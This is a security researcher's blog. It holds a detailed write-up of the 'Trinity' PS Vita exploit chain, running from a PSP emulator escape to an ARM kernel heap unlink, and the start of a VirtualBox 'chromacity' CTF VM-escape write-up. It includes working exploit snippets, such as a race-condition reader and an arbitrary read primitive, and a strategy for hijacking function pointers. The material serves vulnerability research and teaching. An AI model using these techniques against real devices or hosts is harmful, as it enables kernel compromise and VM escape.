TheFloW’s security blog

Trinity: PSP Emulator Escape

2019-06-18T00:00:00+00:00

Trinity is a fully chained exploit for the PS Vita™ consisting of six unique vulnerabilities. It is based on a decade of knowledge and research. The source code of Trinity can be found here.

Table of Contents
Introduction
MIPS Kernel Exploit
- Type Confusion
- Double-fetch Race Condition
PSP Emulator Escape
ARM Kernel Exploit
- Stack Disclosure
- Heap Overflow
Post-exploitation
Conclusion
Credits

Introduction

As the PS Vita™ is the successor of the PSP™, which was the most popular handheld back then, it was natural to give it backwards compatibility. Hence, the PS Vita came with a MIPS processor integrated besides its main ARM processor. A slightly adapted firmware of the PSP was used as software and (un)fortunately, this also brought along design flaws and vulnerabilities. Among others, it was possible to fake sign on executables which allowed user code execution with no effort. Moreover, since the MIPS processor didn’t have direct access to hardware devices, the PSP emulator used HLE by RPC via Kermit. This essentially exposed a potential attack surface.

This write-up presents you bugs that I have found in this protocol. Their discoveries ultimately motivated me find to more bugs in order to chain them together and escalate privileges into ring0. The end result was a PSP Emulator Escape from MIPS userland to ARM kernel.

MIPS Kernel Exploit

The history of PSP cracking is well known. It was the most active homebrew scene and gathered so many talents who worked together to unleash the beast. The PSP was literally taken apart, researched and exploited in any possible ways. I highly recommend you to watch the over 10-years old CCC talk on the PSP by no other man than James Forshaw himself! I also suggest you read the following slides of The Naked PSP.

Type Confusion

If you read the slides, you may have noticed the following code snippet:

void *cntladdr = 0x88000000 + ((uid >> 5) & ~3);

In essence, UID’s to kernel objects are simply encodings of their kernel addresses. If you pass such an UID to some syscalls that decodes it, it will first do sanity checks and see if the format is correct, then work with the object. This structure is very easy to fake. Surprisingly, nobody attempted to exploit this design flaw back then and was only first exploited by qwikrazor87 in around 2015. A third party write-up can be read here.

In particular, the UID data-structure consists of metadata, name, size, etc. and most importantly it maintains a doubly linked list that connects parents and children. When the UID object is deleted, its entry is unlinked from the list as follows:

// https://github.com/uofw/uofw/blob/master/src/sysmem/uid.c#L744
s32 obj_do_delete(SceSysmemUidCB *uid, SceSysmemUidCB *uidWithFunc __attribute__((unused)), int funcId __attribute__((unused)), va_list ap __attribute__((unused)))
{
    uid->meta = NULL;
    uid->PARENT0->nextChild = uid->nextChild;
    uid->uid = 0;
    uid->nextChild->PARENT0 = uid->PARENT0;
    uid->nextChild = uid;
    uid->PARENT0 = uid;
    FreeSceUIDnamestr(uid->name);
    FreeSceUIDobjectCB(uid);
    return 0;
}

Note that if we manage to control uid->PARENT0 and uid->nextChild, we can write an arbitrary address to an arbitrary location.

Exploiting this bug is straightforward:

Plant a fake UID object into kernel.
Encode this UID object.
Delete the UID object.

Basically, what you can do with this primitive is overwriting a function pointer in kernel and make it pointing to some function in userland instead. Then, we can invoke it and run our code in kernel mode.

Do we have to bypass any security mitigations? Nope, there are none! Zero! There’s no SMAP/SMEP, no KASLR, no effective randomization, no NX, nada! However that’s comprehensible - remember this is a 10 years old device, just as secure as the PS4 ;-)

After qwikrazor87 released this exploit, Sony of course couldn’t just change their whole design. Instead, they added a few mitigations like XOR’ing uid->uid with a random seed, or detecting that the UID object was within the heap region. These mitigations were quite effective. As you’d have to plant 2^32 different UID object’s to successfully guess the random seed. Furthermore, planting data within this heap region was not quite obvious, as that was only used by kernel internals.

After trying a bunch of things, I noticed that when you allocate a new UID object, its name is saved within this heap region. The name can be at most 32 characters long and luckily for us, these are enough bytes to successfully fake our UID object in kernel. The only thing we need to worry about is that we cannot use any NULL character within this fake object, otherwise we won’t be able to fully copy the data into kernel. The following code snippet shows how this has been achieved:

  // Plant UID data structure into kernel as string
  u32 string[] = { LIBC_CLOCK_OFFSET - 4, 0x88888888, 0x88016dc0, encrypted_uid, 0x88888888, 0x10101010, 0, 0 };
  SceUID plantid = sceKernelAllocPartitionMemory(PSP_MEMORY_PARTITION_USER, (char *)&string, PSP_SMEM_Low, 0x10, NULL);

Note that LIBC_CLOCK_OFFSET is the function pointer we want to overwrite with the address 0x88888888. The only thing left to do is determining encrypted_uid. Thankfully, qwikrazor87 found a nice arbitrary read exploit.

Double-fetch Race Condition

The syscall sceNpCore_8AFAB4A0() is used to fetch some strings from a list. As arguments, we can specify the index of this array, the output buffer and the output length. See the code below:

typedef struct {
  int len;
  char *string;
} SceNpCoreString;

static SceNpCoreString *g_00000D98;

static int sub_000005D8(int *input, char *string, int length) {
  int index;

  index = input[1];
  if (index >= 9)
    return 0x80550203;

  if (g_00000D98[index].len >= length)
    return 0x80550202;

  strcpy(string, g_00000D98[index].string);

  return g_00000D98[input[1]].len;
}

int sceNpCore_8AFAB4A0(int *input, char *string, int length) {
  ...
  res = sub_000005D8(input, string, length);
  ...
  return res;
}

Note that all these arguments come from userland, and they are not first saved into some kernel buffer. Moreover, note that the index input[1] is fetched twice.

This opens a new possibility for an attacker: what if input[1] changes between the time of check and the time of use (a TOCTTOU problem)? This very small window allows us to first pass a valid index, then just after the check, quickly change it to a higher index than 9 and achieve an out-of-bounds access. This is a so called double-fetch race condition :-)

static volatile int running;
static volatile int idx;
static int input[3];

static int racer(SceSize args, void *argp) {
  running = 1;

  while (running) {
    input[1] = 0;
    sceKernelDelayThread(10);
    input[1] = idx;
    sceKernelDelayThread(10);
  }

  return sceKernelExitDeleteThread(0);
}

static u32 read_kernel_word(u32 addr) {
  SceUID thid = sceKernelCreateThread("", racer, 8, 0x1000, 0, NULL);
  if (thid < 0)
    return 0;

  sceKernelStartThread(thid, 0, NULL);

  char string[8];
  int round = 0;

  idx = -83; // relative offset 0xB00 in np_core.prx (0xD98 + (-83 << 3))

  int i;
  for (i = 0; i < 100000; i++) {
    u32 res = sceNpCore_8AFAB4A0(input, string, sizeof(string));
    if (res != 5 && res != 0x80550203) {
      switch (round) {
        case 0:
          round = 1;
          idx = (addr - (res - 0xA74) - 0xD98) >> 3;
          break;
        case 1:
          running = 0;
          return res;
      }
    }
  }

  running = 0;
  return 0;
}

Observe that we do the race twice. First run to know where g_00000D98 is located at in kernel (only the very first module SceSysmem is at constant address 0x88000000, all other bases are randomized). Then in the second run, we try to return the data of our desired address. In our case, this is the location of the random seed.

Plugging it together with the previous vulnerability, we can now execute code in MIPS kernel as follows:

  u32 seed = read_kernel_word(SYSMEM_SEED_OFFSET);
  if (!seed)
    return -1;

  SceUID uid = (((FAKE_UID_OFFSET & 0x00ffffff) >> 2) << 7) | 0x1;
  SceUID encrypted_uid = uid ^ seed;

  // Plant data
  ...

  // Overwrite function pointer at LIBC_CLOCK_OFFSET with 0x88888888
  sceKernelFreePartitionMemory(uid);

  // Make a jump to kernel function
  REDIRECT_FUNCTION(0x08888888, kernel_function);

  // Execute kernel function
  sceKernelLibcClock();

Easy, right? :-)

PSP Emulator Escape

Why hack the PSP Emulator anyways? Why not WebKit? The PSP Emulator runs at system privileges which are equivalent to root. By gaining control over the emulator, we are exposed to almost ALL syscalls, unlike the WebKit process that is sandboxed. Similarly, the previous jailbreak h-encore exploited a gamesave vulnerability such that it could invoke the NGS syscalls.

As mentioned earlier, the MIPS processor has access to hardware devices by HLE. It uses RPC to send commands to the ARM processor, which handles them and sends responses back. Some research on this communication interface had already been done in 2012 by Davee.

Back then, I tried to find ways to somehow leak ARM memory to MIPS processor, but due to the fact that I had zero information about the HLE code and no ways to debug, I gave up quickly.

After the release of HENkaku, I took up the idea again of escaping the PSP Emulator and wrote a blackbox fuzzer for this protocol.

Stack Smash

The fuzzer, residing on the MIPS processor, basically chose random commands and random arguments (integers and valid pointers to buffers that also contain random values) and sent them via the Kermit protocol. An exception handler was installed on the host side to capture potential crashes.

I quickly found a bunch of NULL pointer dereferences. Most were due to the conversion of PSP memory to PS Vita memory not being checked for success. Hence, if an invalid address was passed to ConvertAddress(), the RPC server would continue working with the NULL pointer.

This was actually good news, because if there were simple NULL pointer dereferences in the code, that meant that it had not been sufficiently audited. Therefore, high chances there were other (more serious) bugs available.

After several runs and blacklisting of uninteresting commands, I hit a panic in __stack_chk_fail(). At that moment I knew I won. It was a stack smash in the KERMIT_CMD_ADHOC_CREATE command. Discovered on the 2018-05-26.

Here is the vulnerable code:

typedef struct {
  uint8_t mac[6];
  uint8_t channel;
  uint8_t bufsize;
  uint8_t buf[0];
} KermitAdhocCreateParam; // 0x70

static int remoteNetAdhocCreate(KermitAdhocCreateParam *param) {
  uintptr_t canary = __stack_chk_guard;

  int res;
  char buf[0x114];

  memset(buf, 0, sizeof(buf));
  memcpy(buf + 0x98, param->buf, param->bufsize);

  ...

  if (canary != __stack_chk_guard)
    __stack_chk_fail();

  return res;
}

static int ScePspemuRemoteNet(SceSize args, void *argp) {
  uint32_t cmd;
  uint64_t res;
  KermitRequest **request; // sp + 0x14

  while (1) {
    cmd = WaitAndGetRequest(KERMIT_MODE_WLAN, &request);

    switch (cmd) {
      ...

      case KERMIT_CMD_ADHOC_CREATE:
        void *param = (void *)ConvertAddress(request->args[0], 0x3, 0x70);
        res = remoteNetAdhocCreate(param);
        WritebackCache(param, 0x70);
        break;

      ...
    }

    ReturnValue(KERMIT_MODE_WLAN, request, res);
  }

  return 0;
}

As you can easily see, the bug is at memcpy() where the length param->bufsize is passed without being validated. This field is 8bit wide and can therefore hold the value 0xff as maximum. Note that buf is 0x114 bytes big and that param->buf is copied to offset 0x98. Simple maths yields that by copying more than 0x7c bytes, we can overflow this buffer and overwrite stack data (most importantly the value of the LR register).

How many bytes can we control after that buffer? As param->bufsize can be maximal 0xff, we can control 0x83 bytes after this buffer, which is enough room to plant and execute ROP chains.

But wait, why so confident? Remember, we don’t even have PC control yet. We simply hit __stack_chk_fail(), which leads to nowhere as long as we don’t find a way to leak the random value of __stack_chk_guard.

This was probably the hardest part of the whole chain and took me a whole week to solve. I was looking for uninitialized buffers on stack that would leak the stack canary and return addresses to defeat ASLR. Surprisingly, I couldn’t find such a bug and it seemed like Sony made sure not to forget to memset() any buffer there. After a whole week of reverse engineering and digging through all commands, I found a very cool bug that would allow us to read arbitrary memory. Discovered on the 2018-06-04.

CSC Arbitrary Read

The vulnerability lies in one of the media engine commands that is responsible for color space conversion from YCbCr to RGBA. The command copies a row chosen by the user into a framebuffer, however it doesn’t sanitize check the row number.

The bug looks as follows:

dst = framebuf;
src = pYCbCr + row * width;

memcpy(dst, src, Y_size);
dst += Y_size;
src += Y_size;

memcpy(dst, src, Cb_size);
dst += Cb_size;
src += Cb_size;

memcpy(dst, src, Cr_size);
dst += Cr_size;
src += Cr_size;

csc(pRGBA, framebuf, ...);

If we set pYCbCr to NULL (by using any invalid address), we can arbitrarily copy memory into the framebuffer specified by row * width. Then, color space conversion will be applied on this buffer and the result sent back to the MIPS processor.

Can we learn anything about the data after the conversion? Of course, just convert it back to YCbCr. Unfortunately, if we want to bypass the stack protection, we need to find out the exact value of the canary. If we don’t get the right value, the application will just crash. Hence, no approximation is permitted.

As I didn’t know much about this algorithm, I took a quick look on wikipedia: YCbCr. The last section on JPEG conversion reveals that RGB is calculated as follows:

R = Y + 1.402 * (Cr - 128)
G = Y - 0.344136 * (Cb - 128) - 0.714136 * (Cr - 128)
B = Y + 1.722 * (Cb - 128)

It is simple to see that if Cr and Cb are 128, we have:

R = Y
G = Y
B = Y

How can we achieve that? Luckily this can easily be done, because of the fact that the framebuffer is allocated at the constant address 0x66a00000 in CDRAM and that it is not cleared after the conversion is done.

This can be exploited as follows:

Fill the YCbCr framebuffer with value 128.
Copy memory of our arbitrary location into Y component.
Copy exactly the same memory into the framebuffer (src=dst).
Apply color space conversion. Now R=G=B=Y.
Read every fourth byte of the output buffer.

Below is the implementation of the arbitrary read primitive:

static void jpeg_csc(void *pRGBA, const void *pYCbCr, int width, int height, int iFrameWidth, int mode, int addr) {
  int work = 0;
  _sceKernelDcacheWritebackInvalidateAll();
  _sceMeRequest(ME_CMD_CSC_INIT, work, pRGBA, pYCbCr, width, height, mode, 0, iFrameWidth);
  _sceMeRequest(ME_CMD_CSC_ROW,  work, addr / width, mode);
}

int _read_native(void *dst, u32 src, size_t len) {
  int k1 = pspSdkSetK1(0);

  size_t i;
  for (i = 0; i < ALIGN(len, 16); i += 16) {
    u8 *temp = (u8 *)0xABCD0000;
    memset(temp, 128, 3 * 8 * 16);
    jpeg_csc(temp, (void *)0x08000000, 8, 16, 8, 0b0101, NATIVE(temp));
    jpeg_csc(temp, (void *)0x08000000, 1,  0, 1, 0b0101, src + i);
    jpeg_csc(temp, (void *)0x08000000, 8, 16, 8, 0b0101, 0x66a00000);

    size_t j;
    for (j = 0; j < MIN(len - i, 16); j++)
      ((u8 *)dst)[i + j] = temp[j * 4];
  }

  pspSdkSetK1(k1);
  return 0;
}

This is a very powerful primitive and allows us to read all .text bases and effectively find out the __stack_chk_guard variable. The only concern remains that we still don’t know anything about the memory layout. This is a potential problem, because if we read an invalid memory, we’ll just get a segmentation fault. Fortunately, the .data segment of the module ScePspemu is over 16MB big and is always at addresses 0x81100X00 or 0x81200X00.

Assume the .data segment is at 0x81100X00. Then, we can safely read 0x81201000, because this is clearly still within the segment.
On other other hand, if it is at 0x81200X00, then, the address 0x81201000 is just slightly a bit after the start of the segment, thus of course valid.

Hence, by starting at 0x81201000 and iterating backwards, we can check for a certain magic value (some unique constant) and once we find this constant, we’ll be able to determine the real address of the .data segment. With this information, we can then easily find out all other bases:

ScePspemu .data → ScePspemu .text → SceLibKernel .text → SceLibKernel .data → __stack_chk_guard

Good, we are now ready for some ROP ‘n’ Roll!

Designing a RPC System

Now that we have successfully retrieved the stack canary, we can forge an overflow that contains the correct stack canary at the right place. Then, we can issue the vulnerable stack smash command and finally get PC control, hurray!

Let us either be masochistic and stack pivot into a big ROP chain - or we design a proper RPC system that allows us to call arbitrary functions and syscalls from MIPS processor. This is a better idea, since having the ability to do logic on the MIPS processor is more attractive than writing conditional loops or complicated arithmetic in pure ROP payloads.

The neat property of stack smash exploits is that it is deterministic. We don’t need to rely on heavy heap spraying methods where we can only get PC control with a certain probability. Therefore, our idea is to write a small ROP chain that can invoke an arbitrary function or syscall every time we trigger the overflow.

As our overflow is within the subroutine remoteNetAdhocCreate(), we will also overwrite the stack in the ScePspemuRemoteNet() super routine. One issue with that is that we’ll corrupt the request pointer:

KermitRequest **request; // sp + 0x14

This must be restored by the ROP chain on runtime, such that after exiting the chain, the following call will not fail:

ReturnValue(KERMIT_MODE_WLAN, request, res);

Then, another concern is that we need to restore the program counter and the stack pointer to their original locations after exiting the ROP chain.

Remember that we only have 0x83 bytes of stack available. This is unfortunately too little to:

Get the stack pointer
Execute arbitrary function
Restore SP + 0x14
Set the stack pointer to old location
Return to correct address

However, since the stack pointer is always the same (because the ScePspemuRemoteNet() thread simply sleeps until it receives a new command), we can separate the requirements above and only find out the stack pointer once (skip step 2). Then, for every arbitrary call, we can skip step 1, as we already know it. The benefit of this approach is that we are now able to stack pivot into a bigger ROP chain and don’t need to worry about the number of gadgets we use. This can be done by copying the bigger ROP chain to SP - sizeof(ROPchain) and stack pivot there. This particular ROP chain can then execute an arbitrary function with arbitrary arguments, then restore the request pointer and return into ScePspemu_remoteNetAdhocCreate_lr as last gadget. After this last gadget has been popped, it’ll arrive at the very same stack address it was before. This has the benefit that we don’t need to stack pivot yet another time and can safely resume execution.

Amazing, we can now invoke arbitrary ARM syscalls from MIPS processor. In fact, we can now even write hybrid homebrews that have native graphics, touch functionality, etc. while still running on the MIPS processor! Check out rpc.c for this cool implementation.

ARM Kernel Exploit

As I mentioned before, the PSP Emulator runs with system privileges that are equivalent to root. Basically with this exploit, we can already access all file systems, change registries, etc. Unfortunately, system privileges are not even enough to allocate RWX pages. Hence, we are not yet able to run native homebrews. We still need a kernel exploit.

My goal was to find kernel vulnerabilities that were only triggerable with system privileges. The reason was that it would be a waste if we used vulnerabilities instead that could be accessed with user privileges. These should better be kept for WebKit/savedata exploits.

Stack Disclosure

Before I present you a detailed explanation of the next kernel exploit, I’ll first show you this small one. Discovered on the 2018-10-09.

static uint32_t dword_8100D200, dword_8100D204;

int ksceUdcdGetDeviceInfo(void *info) {
  if (!sub_810042A8(2))
    return 0x80243003;

  *(uint32_t *)(info + 0x00) = dword_8100D200;
  *(uint32_t *)(info + 0x04) = dword_8100D204;

  return 0;
}

int sceUdcdGetDeviceInfo(void *info) {
  int res, state;
  char k_info[0x40];

  ENTER_SYSCALL(state);

  if (!ksceSblACMgrIsShell(0) &&
      !ksceSblACMgrIsMiniSettingsForQA() &&
      !ksceSblACMgrIsAllowedUsbSerial()) {
    EXIT_SYSCALL(state);
    return 0x80010058;
  }

  if (!info) {
    EXIT_SYSCALL(state);
    return 0x8024300A;
  }

  res = ksceUdcdGetDeviceInfo(k_info);
  if (res >= 0)
    ksceKernelMemcpyKernelToUser(info, k_info, sizeof(k_info));

  EXIT_SYSCALL(state);
  return res >= 0;
}

The bug is obvious: 0x40 bytes of stack is allocated for k_info, however only 8 bytes are initialized by ksceUdcdGetDeviceInfo(). The rest is left uninitialized. Then, this information is copied back to user. Hence, the last 0x38 bytes will contain information from the previous stack frame. To exploit this, we first call some syscalls that push interesting stuff onto stack, like the stack pointer itself or return addresses, then call sceUdcdGetDeviceInfo() to retrieve this information.

Using the obtained kernel module address, we can bypass KASLR and build kernel ROP chains. This vulnerability must be included into our chain, because the next exploit, that I’m going to show, is not powerful enough to leak kernel data and expects predetermined kernel addresses.

Heap Overflow

While working on the stack smash exploit, I noticed that WLAN would not work anymore after triggering the overflow many times. Only a few months later I decided to take a look at it. I quickly found out that remoteNetAdhocCreate() would call a certain WLAN command with the corrupt parameters and then forget to free heap memory on failure.

Again, using the same mindset as before: if there’s such a bug, there probably exist more (severe) bugs. Indeed, this led me to a different WLAN command that suffered a similar mistake as the stack smash vulnerability. Discovered on the 2018-09-26.

This time, it is a 32bit length that is passed to memcpy() which is not validated. It is triggerable by the WLAN command 0x50120004 (with controllable buf):

memcpy(work + 0x28, buf + 0x10, *(uint32_t *)(buf + 0xc));

The difference here is that work does not reside on stack, but rather on heap. Unfortunately, this heap is only used by the network stack, hence there’s not much we can overflow into. Moreover, it is the same heap that had the Use-After-Free vulnerability. Sony fixed this vulnerability and added exploit mitigations to ensure the integrity of the function pointer in the socket object. Hence, we must think of other strategies to gain PC control.

I reverse engineered their malloc()/free() implementation and soon I designed a different method to exploit the heap overflow. My goal was namely to launch an unlink attack.

First, let me introduce their heap implementation. The heap maintains a doubly linked “free” list and a “busy” list. The heap grows from high to low address, instead of the other way like they normally do.

Finally, there are some heap invariants:

Every free chunk is linked together, and every busy chunk is linked together.
No two free chunks can be adjacent and must always be merged together.
There are (constant) cookies that indicate whether a chunk is currently being used or not.
There’s a (constant) cookie at the end of each busy chunk that is checked to be valid on free().

Below is a diagram that shows the top of the heap. Note that the 0x800 bytes chunk represents the work buffer and the 0x1000 bytes chunk represents the buf buffer (see the code snippet above for reference). They are both relatively big, thus they will fail to find any place in the heap (after a cold reboot) and hence, will make the heap grow such that they can take up the top of the heap (remember it grows backwards).

As you can see, they are both marked as busy. The 0x800 bytes chunk doesn’t have a previous pointer to anywhere, because it is on top of the heap. This is the constellation before the overflow.

The next diagram shows you the constellation after the overflow. Recall that we copy from the 0x1000 bytes chunk into the 0x800 chunk.

Observe that the MaAk cookie is still intact even after the overflow. This is no barrier to us, because it is constant and we can easily fake it. Also, note that there is now a new fake free chunk with size of 0xfe0 bytes and that the size of the 0x1000 bytes chunk has shrunken to zero. Of course, the four red boxes cannot be unseen: they represent pointers that we can arbitrarily control.

Since our overflow buffer doesn’t contain valid parameters specified by the command, the subroutine will quickly notice that and bail out. On abort, the 0x800 bytes chunk will first be free’d, then the 0x1000 (now zero) bytes chunk will be free’d.

Remember the first invariant: if we free a chunk, it will unlink its entry from the busy list and add itself into the free list. However, it doesn’t have pointers to the free list! How can we find out the previous and the next free chunk in the list? This is actually not a problem, because:

Either the logical next busy chunk is also the physical next chunk (meaning that the next pointer in the header simply points to the end of the current chunk).
Or it does not. Then, the physical next chunk must be a free chunk.

In the second case, we’re done. We’ve already found a free chunk and can simply coalesce with our current chunk.

In the first case however, we will have to continue the iteration and follow the logical next chunk until we’re either on bottom of the heap, or we find a chunk whose logical next chunk is not equal to the physical next chunk.

Below is Sony’s implementation in free() that finds the next free chunk using the current busy chunk:

chunk_header_t *curr, *next;

curr = ...;

while (1) {
  next = (chunk_header_t *)((char *)curr + curr->size);
  if (curr->next != next)
    break;
  curr = curr->next;
}

if (next < g_heap_end) {
  // next is a free chunk
} else {
  // no free chunk after curr found
  // thus curr must be the tail of the free list
}

Back to our overflow: when we free the corrupted 0x800 bytes chunk, it will follow the next pointer to the shrunken 0x1000 bytes chunk, then find out that its next pointer doesn’t point to the physical next chunk. Therefore, it will indeed think that the fake free chunk, that we planted, is a valid free chunk, and as a result, the 0x800 chunk will finally point to the arbitrary address.

Now, hold your breath, the arbitrary address will store the pointer to the 0x800 chunk in the next field, which is essentially our unlink attack! In other words, we can overwrite an arbitrary kernel pointer with the pointer to the 0x800 bytes chunk, whose data we control.

This diagram shows the effect of freeing the 0x800 bytes chunk:

Observe that no coalescing took place yet, as there’s still a busy chunk between the two free chunks.

After the 0x800 bytes chunk has been free’d, it will proceed to free the 0x1000 bytes chunk:

As illustrated above, the busy list head now points to an arbitrary address, and the prev field at this address now stores NULL. We have therefore completely destroyed the data structure - luckily the busy list tail pointer is still intact, thus we will be able to recover the head pointer.

Finally, to respect the second invariant, free() merges the 0x808 and 0x8 chunks together:

Nothing interesting happened during the coalescing, but since there are still two adjacent chunks, it must merge once again:

Et voilà, a second unlink attack took place! The prev pointer of the box on bottom now points to the 0x800 (now actually 0x1830) bytes free chunk.

Overall, we have (in the following order):

*(uint32_t *)(arbitrary_top    - offsetof(chunk_header_t, next)) = work;
*(uint32_t *)(arbitrary_right  - offsetof(chunk_header_t, prev)) = NULL;
*(uint32_t *)(arbitrary_bottom - offsetof(chunk_header_t, prev)) = work;

where the data in work is almost fully controllable by us. We can now choose the same address for those arbitrary locations, such that it will first write the pointer to work, then NULL and ultimately again work.

Now the question is what shall we use it for? Luckily there’s an easy target. The following code is namely used to allocate that 0x800 bytes work buffer:

v29 = (*(int (__fastcall **)(int, signed int, signed int))(*(_DWORD *)(v4 + 0x580) + 0x638))(
        *(_DWORD *)(v4 + 0x580) + 0x630,
        0x800,
        4);

If we replace the data at v4 + 0x580 by work, then the function placed at work + 0x638 can be dereferenced and executed with work + 0x630 as argument. Perfect. If we issue the WLAN command once again, an arbitrary function with arbitrary data as first argument can be called. As function, we choose the gadget SceSysmem_ldm_r0_r4_sl_ip_sp_pc such that we can stack pivot into our kernel ROP chain.

The rest of the exploit is self-explanatory and can be found here. By calling the syscall sceWlanGetConfiguration() before sceUdcdGetDeviceInfo(), we will be able to leak the address of v4. Similarly, by calling sceRtcConvertLocalTimeToUtc() before sceUdcdGetDeviceInfo(), we will be able to leak the kernel stack address and a return address to SceSysmem.

Post-exploitation

The most important thing to do when we have kernel code execution is to recover the heap data-structure, otherwise as soon as sockets are used again, it will result in a crash. What do we need to fix?

Since we changed the size of the busy chunk from 0x1000 to 0, the free list size was not incremented correctly when the 0x1000 chunk was free’d. Therefore, we must increment the free list size by 0x1000.
The chunk before the busy list head in the initial state is actually a large free chunk. Coalescing with this large chunk however did not happen. We must recover this by incrementing the size of the free chunk by 0x1830 + sizeof(chunk_header_t).
The busy list head is invalid. We can recover this by using the busy list tail and iterate backwards until we find a busy chunk which has an invalid next pointer.
As we hijacked the control-flow while a lock was held, we must unlock it to avoid deadlocks.
Last but not least, we must recover the *(_DWORD *)(v4 + 0x580) pointer that we have overwritten.

Conclusion

This was the coolest exploit chain that I had ever written and certainly also my proudest project. I enjoyed exploring these new attack surfaces and it gave me nostalgia as it combined a decade of knowledge and research by the PSP/PS Vita community. This project also concluded my work for the PS Vita scene and I hope that my write-up would inspire other people to begin with reverse engineering, finding vulnerabilities and exploitation. I believe that I am only here where I am today thanks to these kind of write-ups and I believe you can all achieve the same if you just want to.

Credits

Thanks to qwikrazor87 for the MIPS kernel read exploit.
Thanks to Team molecule for their prior research on the PS Vita.

chromacity: Escaping the VM with Newlines

2019-04-26T00:00:00+00:00

Back in October 2018, I noticed an interesting blogpost by Niklas Baumstark about the chromium component of VirtualBox and decided to take a look at it as well. Within two weeks, I found and reported a dozen of bugs with which I could easily achieve a VM Escape. Unfortunately most of them were duplicates.

By the end of December 2018, a CTF took place at 3C35 and I noticed a tweet, again by Niklas, who announced that the VirtualBox challenge chromacity had not yet been solved by anyone. This got me really hyped as I wanted to be the first to capture this flag.

Table of Contents
The Challenge
Conclusion
Credits

The Challenge

The challenge was to target VirtualBox v5.2.22 on 64bit xubuntu and escape the VM. A hint was included in the challenge which was simply a picture of the documentation of the API glShaderSource(). First, I thought that a bug had been artificially injected into this function for the challenge. However, after looking at its implementation in chromium, I realized that I was dealing with a real world vulnerability.

The Vulnerability

Below is a code excerpt of src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c.

void crUnpackExtendShaderSource(void)
{
    GLint *length = NULL;
    GLuint shader = READ_DATA(8, GLuint);
    GLsizei count = READ_DATA(12, GLsizei);
    GLint hasNonLocalLen = READ_DATA(16, GLsizei);
    GLint *pLocalLength = DATA_POINTER(20, GLint);
    char **ppStrings = NULL;
    GLsizei i, j, jUpTo;
    int pos, pos_check;

    if (count >= UINT32_MAX / sizeof(char *) / 4)
    {
        crError("crUnpackExtendShaderSource: count %u is out of range", count);
        return;
    }

    pos = 20 + count * sizeof(*pLocalLength);

    if (hasNonLocalLen > 0)
    {
        length = DATA_POINTER(pos, GLint);
        pos += count * sizeof(*length);
    }

    pos_check = pos;

    if (!DATA_POINTER_CHECK(pos_check))
    {
        crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
        return;
    }

    for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }

        pos_check += pLocalLength[i];
    }

    ppStrings = crAlloc(count * sizeof(char*));
    if (!ppStrings) return;

    for (i = 0; i < count; ++i)
    {
        ppStrings[i] = DATA_POINTER(pos, char);
        pos += pLocalLength[i];
        if (!length)
        {
            pLocalLength[i] -= 1;
        }

        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];

            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }
    }

//    cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
    cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);

    crFree(ppStrings);
}

This method fetches user data using the macro READ_DATA. It simply reads from the message that has been sent by the guest using the HGCM interface (this message is stored on heap). Then it adjusts the input and hands it over to cr_unpackDispatch.ShaderSource().

The first obvious point of attack is at crAlloc(count * sizeof(char*)). The variable count is checked whether it is within a certain (positive) range. However, since it is a signed integer, one should also check for negativity. If we choose count large enough, for example 0x80000000, the multiplication with sizeof(char*)==8 will yield 0 due to an integer overflow (all variables here are 32bit). Ideally, this may result in a heap overflow due to the allocated buffer being too small whereas count being too large. However this code is not vulnerable to such an attack, since the loop is not taken at all if count is negative (variable i is signed, hence its comparison is also signed).

The actual vulnerability is less obvious. It is namely in the first loop, where pos_check is incremented by an array of lengths. In every iteration, the position is validated to ensure that the total length is still within bounds. The problem with this code is that pos_check is tested to be in-bounds only in the next iteration. This means that the last element of the array is never tested and can be arbitrarily large.

What is the effect of this missing validation? Essentially, in the nested loop, j represents the index of pStrings and is counted from 0 to pLocalLength[i]. This loop translates every \0 byte to a \n byte. With an arbitrary length, we can make the loop go out-of-bounds, and since pString points to the data within the HGCM message on heap, this is effectively a heap overflow.

Exploitation

Even though we can’t overflow with controllable content, we can still gain arbitrary code execution if we exploit it wisely.

For exploitation, we will use 3dpwn, a library specifically designed to attack the 3D Acceleration. We will heavily make use of the CRVBOXSVCBUFFER_t objects, which has also been targeted in prior research. It contains a unique ID, a controllable size, a pointer to the actual data that the guest can write to, and lastly next/previous pointers of the doubly linked list:

typedef struct _CRVBOXSVCBUFFER_t {
    uint32_t uiId;
    uint32_t uiSize;
    void*    pData;
    _CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;

Furthermore, we will also make use of the CRConnection object, which contains various function pointers and a pointer to a buffer that the guest can read from.

If we corrupt the former object, we can gain an arbitrary write primitive, and if we corrupt the latter object, we can gain an arbitrary read primitive and arbitrary code execution.

The Strategy

Leak the pointer of a CRConnection object.
Spray the heap with a lot of CRVBOXSVCBUFFER_t objects and save their IDs.
Make a hole and execute glShaderSource() to occupy the hole with our evil message. The vulnerable code will then make it overflow into an adjacent object - ideally into a CRVBOXSVCBUFFER_t. We try to corrupt its ID and size to enable a second heap overflow over which we have more control.
Look up the list of IDs and see if one of them disappeared. The ID that is missing should be the one that has been corrupted with newlines.
Replace all zero bytes with newlines in this ID to get the corrupted ID.
This corrupted object will now have a larger length than originally. We will use this to overflow into a second CRVBOXSVCBUFFER_t and make it point to the CRConnection object.
Finally we can control the content of the CRConnection object and as mentioned before, we can corrupt it to enable an arbitrary read primitive and arbitrary code execution.
Find out the address of system() and overwrite the function pointer Free() with it.
Run arbitrary commands on host and profit.

Heap Information Disclosure

As we are targeting VirtualBox v5.2.22, it is not vulnerable to CVE-2018-3055 which got patched in v5.2.20. This vulnerability was exploited to leak a CRConnection address, as you can see here. So what? Should we use a new infoleak for the sake of the challenge? Or redesign the exploitation strategy?

